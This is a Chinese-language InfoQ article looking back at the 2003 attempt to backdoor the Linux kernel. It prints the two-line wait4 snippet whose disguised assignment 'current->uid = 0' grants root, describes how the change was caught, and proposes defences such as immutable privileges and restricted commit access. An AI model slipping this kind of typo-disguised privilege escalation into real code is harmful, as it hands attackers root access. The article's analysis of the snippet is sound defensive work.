AICon 上海站|日程100%上线,解锁Al未来! 了解详情
写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134607
用户头像

发布了 28 篇内容, 共 11.0 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

【云原生】微服务SpringCloud-eureka(server)集群搭建

java李杨勇

Eureka spring-cloud 签约计划第三季

Hi,我是ChunJun,一个有趣好用的开源项目

袋鼠云数栈

备受资本市场关注的Zebec,正在构建“新DeFi”生态

小哈区块

“新DeFi”生态的构建,流支付协议Zebec或厚积薄发

BlockChain先知

【云原生】SpringCloud是什么?

java李杨勇

Java spring-boot 签约计划第三季

备受资本市场关注的Zebec,正在构建“新DeFi”生态

西柚子

基于JavaSpringMVC+vue实现协同过滤电影推荐系统详细设计

java李杨勇

Java spring Vue 3 签约计划第三季 协同过滤

架构实战营毕业总结

Geek_53787a

Kubernetes Cilium Cluster Mesh

CTO技术共享

开源 签约计划第三季 8月月更

备受资本市场关注的Zebec,正在构建“新DeFi”生态

股市老人

中国开源先锋人物志 | ChinaOSC

CCF开源发展委员会

系统入门-Linux系统基础命令

Albert Edison

Linux centos 指令 8月月更

转转价格系统DDD实践

转转技术团队

领域驱动设计 DDD

Kubernetes API Schema

CTO技术共享

开源 签约计划第三季 8月月更

超云

Kent Yao

超云 Supercloud

RocketMQ高性能设计之动态缩扩容和消息实时投递

急需上岸的小谢

8月月更

ICMPv6协议详解

穿过生命散发芬芳

8月月更 ICMPv6

中台订单分库分表测试总结

转转技术团队

测试方案 后端测试

浅述微服务安全管理机制

阿泽🧸

8月月更 微服务安全

Kubernetes list和watch详解

CTO技术共享

开源 签约计划第三季 8月月更

开源中国专访 TJ:开源许可证,欢迎来到云时代

tapdata

Tapdata 开源社区

【云原生】SpringCloud-Spring Boot Starter使用测试

java李杨勇

Java web SpringCloud Alibaba 签约计划第三季

Redis 潜在问题

武师叔

8月月更

每日一R「07」类型系统(一)

Samson

8月月更 ​Rust

头脑风暴:零钱兑换3

HelloWorld杰少

算法 LeetCode 数据结构, 8月月更

开源知识库与SaaS解决方案的区别

Geek_da0866

李斯特:不同流派的产品创新方法及创新误区丨创新工作坊

声网

灵感宝盒 RTE NG-Lab

开源生态研究与实践| ChinaOSC

CCF开源发展委员会

leetcode 239. Sliding Window Maximum 滑动窗口最大值

okokabcd

LeetCode 数据结构与算法 双端队列

C++继承中的对象模型与继承中构造和析构顺序

CtrlX

c c++ 面向对象 继承 8月月更

Flutter 动画组件那么多,记不住不会用怎么办?我都给你整理好了,收藏吧!

岛上码农

flutter 前端 安卓 移动端开发 8月月更

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章